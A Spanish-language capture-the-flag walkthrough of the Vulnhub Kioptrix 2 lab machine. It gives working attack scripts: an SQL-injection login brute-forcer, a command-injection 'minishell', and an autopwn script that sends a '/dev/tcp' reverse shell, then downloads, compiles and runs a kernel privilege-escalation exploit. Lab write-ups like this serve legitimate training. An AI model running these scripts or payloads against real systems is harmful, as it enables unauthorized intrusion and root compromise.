Posts Vulnhub Kioptrix 2 Writeup (OSCP Style)
Post
Cancel

Vulnhub Kioptrix 2 Writeup (OSCP Style)

Kioptrix 2

Comenzaremos con un escaneo de reconocimiento de hosts para poder encontrar cual es la dirección ip de la máquina.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 $ nmap -sn -n 192.168.100.0/24                                      
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-28 00:30 CDT
Nmap scan report for 192.168.100.1
Host is up (0.0021s latency).
Nmap scan report for 192.168.100.2
Host is up (0.028s latency).
Nmap scan report for 192.168.100.5
Host is up (0.012s latency).
Nmap scan report for 192.168.100.7
Host is up (0.00089s latency).
Nmap scan report for 192.168.100.15
Host is up (0.00016s latency).
Nmap scan report for 192.168.100.36
Host is up (0.037s latency).
Nmap done: 256 IP addresses (6 hosts up) scanned in 5.39 seconds

La dirección ip de la máquina es: 192.168.100.36

Ahora que conocemos la ip de la máquina podemos lanzar un escaneo contra los 65535 puertos e identificar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nmap -p- --open -T5 -n 192.168.100.36 -oG nmapScanAllPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-28 00:32 CDT
Nmap scan report for 192.168.100.36
Host is up (0.012s latency).
Not shown: 63381 closed ports, 2147 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
629/tcp  open  3com-amp3
631/tcp  open  ipp
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 14.33 seconds

Después lanzaré un escaneo final para poder descubrir cuales son los servicios y versiones que se ejecutan en los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Nmap 7.80 scan initiated Mon Jul 27 15:45:21 2020 as: nmap -sCV -p22,80,111,443,631,652,3306 -oN targeted 192.168.100.36
Nmap scan report for 192.168.100.36
Host is up (0.0040s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey: 
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    2 (RPC #100000)
443/tcp  open  ssl/https?
|_ssl-date: 2020-07-27T17:36:22+00:00; -3h09m48s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
631/tcp  open  ipp        CUPS 1.1
| http-methods: 
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
652/tcp  open  status     1 (RPC #100024)
3306/tcp open  mysql      MySQL (unauthorized)

Host script results:
|_clock-skew: -3h09m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 27 15:47:09 2020 -- 1 IP address (1 host up) scanned in 107.97 seconds

Rapidamente me dirigi al servicio http del puerto 80 y me encuentro con lo siguiente:

Esto es un panel de login, pero antes de probar algunas cosas recomiendo mirar el código fuente de la página ya que en maquinas estilo CTF es muy común encontrar pistas.

Como no encontramos nada interesante vamos a continuar con el panel de login, para ello comenzaré por probar contraseñas típicas como:

  • admin:admin

  • admin:password123

  • root:root

pero no obtuvimos éxito alguno por lo que procederé a realizar una inyección sql típica en los campos de usuario y contraseña.

Al presionar en el botón de Login logramos el bypass del panel de login.

pero esto no se queda asi, vamos a hacer el bypass del panel de login de una manera mucho más elegante.

Realizaremos un ataque de fuerza bruta contra el login utilizando la herramienta de wfuzz y el diccionario Generic-SQLi.txt del repositorio de seclist.

Repositorio de github.

Para ello primero necesitamos saber cómo es que se envía la data al servidor, click derecho inspeccionar y nos vamos a la pestaña de network, ahora solo tramitamos cualquier data en este caso admin:admin.

Así nos percatamos de que la petición utiliza el método POST para ser enviada al servidor.

y la data se envía de la siguiente manera: uname=admin&psw=admin&btnLogin=Login

Con esta información podemos proseguir con el ataque.

1
$ wfuzz -c --hc 404 -t 200 -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d "uname=admin&psw=FUZZ&btnLogin=Login" http://192.168.100.36/index.php

Esto nos arroja muchas coincidencias con un tamaño de char de 667 lo que es muy probable que sean las inyecciones que no funcionen de tal manera que filtraremos ese tamaño de char.

1
$ wfuzz -c --hh 667 -t 200 -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d "uname=admin&psw=FUZZ&btnLogin=Login" [http://192.168.100.36/index.php](http://192.168.100.36/index.php)

Cualquiera de estas inyección lograra el bypass del login o bien si prefieres hacerlo manual aquí te dejo mi script que hace la misma función que wfuzz.

Script: BruteForce.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import requests,sys,signal

#Variables globales
wordlist=[]

def handler(key,frame):
    print("Adios!!")
    sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)

def bruteForce(line,rhost):

    url = "http://{}/index.php".format(rhost)

    data1={
        "uname":"admin",
        "psw":line,
        "btnLogin":"Login"
    }
    r1 = requests.post(url,data=data1)
    if(len(r1.content) != 667):
        print("Inyección: "+ line)

if __name__ == "__main__":

    if(len(sys.argv) != 2):
        print("[*] Uso: python3 {} RHOST".format(sys.argv[0]))
        sys.exit(0)
        
    rhost = sys.argv[1]

    diccionario = open("/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt","r")
    for line in diccionario:
        line = line.strip()
        wordlist.append(line)
    
    for line in wordlist:
        bruteForce(line,rhost)

Una vez dentro nos encontramos con la siguiente funcionalidad:

Prácticamente lo que hace esto es hacer ping contra las máquinas que se encuentren en la red.

Al parecer está funcionando. ¿ cómo aprovecharnos de esto ? pues la respuesta es muy sencilla utilizando separadores de comandos.

Estos son algunos separadores:

  • && (AND)

  •  (OR)
  • ; (COMILLAS)

Pues es tan sencillo como llevar este concepto a la utilidad que se encuentra en el servidor.

Bien,vamos a crearnos un script aprovechandonos de este concepto, ya que se me hace muy aburrido solo mandarme una reverse shell.

Script: minishell.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

import requests,signal,sys

def handler(key,frame):
	print("Adios!!")
	sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)

def shell(comando,rhost):
	url = "http://{}/pingit.php".format(rhost)

	data1={
		"ip":";{}".format(comando),
		"submit":"submit"
	}
	r1 = requests.post(url,data=data1)
	response= (r1.text.split("<pre>")[1]).replace("</pre>","").strip()
	print(response)


if __name__ == "__main__":

	if(len(sys.argv) != 2):
		print("[*] Uso: python3 {} <rhost>".format(sys.argv[0]))
		sys.exit(1)

	rhost = sys.argv[1]

	while True:
		comando = input("$~ ")
		if(comando == "exit" or comando == "quit"):
			sys.exit(1)
		else:
			shell(comando,rhost)


Accediendo al sistema.

Nos enviamos la reverse shell y entramos al sistema.

Para escalar a root es tan sencillo como seguir la siguiente guia: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Nos daremos cuenta de que tiene un sistema operativo muy antiguo y un kernel bastante viejo por lo que es rápido darse cuenta de que es altamente probable de que estén asociados con alguna vulnerabilidad crítica.

Utilizando la herramienta de searchsploit encontramos 1 exploit que se acopla a lo que necesitamos.

Rápidamente lo muevo a mi directorio de trabajo y lo subo a la máquina.

1
$ searchsploit -m linux_x86/local/9542.c

Como siempre recomiendo revisar el exploit antes de ejecutarlo ya que es muy probable de que en algunos exploits debamos modificar algunos parámetros o nos enseñan la manera de compilarlo.

Lo renombro como dice el exploit, me levanto un servidor con python y lo ejecutó.

¡¡Somos root!!

Pero esto no acaba aquí, nos vamos a crear un autopwn para praticar mas nuestro python y comenzar a aprender a usar pwntools.

Script: Autopwn.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
# Author: Intrusionz3r0

import requests,time,threading,os,sys
from pwn import *

#variables globales
LPORT=443

def handler(key,frame):
	print("Adios!!!")
	sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)


def getShell(RHOST,LHOST):

    url1 = "http://{}/index.php".format(RHOST)

    data1={
        "uname":"admin",
        "psw":"hi' or 'a'='a",
        "btnLogin":"Login"
    }
    p1 = log.progress("Login")
    p1.status("Enviando inyeccion SQL!!")
    time.sleep(2)
    r1 = requests.post(url1,data=data1)

    if("Welcome to the Basic Administrative Web Console" in r1.text):
    	p1.success("Inyeccion realizada con exito!!")


	url2="http://{}/pingit.php".format(RHOST)
	data2={
		"ip":"127.0.0.1;bash -i > /dev/tcp/{}/{} 0>&1".format(LHOST,LPORT),
		"submit":"submit"
	}
	p2 = log.progress("Shell")
	p2.status("Enviado reverse shell.")
	time.sleep(2)
	try:
		r2 = requests.post(url2,data=data2,timeout=1)
	except requests.exceptions.Timeout:
		p2.success("Estamos en el sistema. !!")

def privEsc(LHOST):
	p3 = log.progress("Root")
	shell.sendline("cd /dev/shm")
	p3.status("Descargando exploit.")
	time.sleep(2)
	shell.sendline("wget http://{}/0x82-CVE-2009-2698.c".format(LHOST))
	p3.status("Compilando y ejecutando exploit.")
	time.sleep(3)
	shell.sendline("gcc 0x82-CVE-2009-2698.c -o 0x82-CVE-2009-2698 && ./0x82-CVE-2009-2698")
	p3.success("Pwned!!")
	shell.interactive()

def downloadExploit():
	os.system("searchsploit -m linux_x86/local/9542.c")
	os.system("mv 9542.c 0x82-CVE-2009-2698.c")

def upServer():
	os.system("python -m SimpleHTTPServer 80")

if __name__ == "__main__":

	if(len(sys.argv) != 3):
		log.failure("uso: sudo python3 {} <RHOST> <LHOST>".format(sys.argv[0]))
		sys.exit(1)

	downloadExploit()
	time.sleep(2)

	RHOST=sys.argv[1]
	LHOST=sys.argv[2]
	try:
		threading.Thread(target=getShell(RHOST,LHOST)).start()
		threading.Thread(target=upServer).start()
	except Exception as e:
		log.failure("No se logro establecer la conexion")
		sys.exit(1)

	shell = listen(LPORT,timeout=20).wait_for_connection()

	if(shell.sock is None):
		log.error("No se logro establecer una conexion")
	else:
		privEsc(LHOST)

This post is licensed under CC BY 4.0 by the author.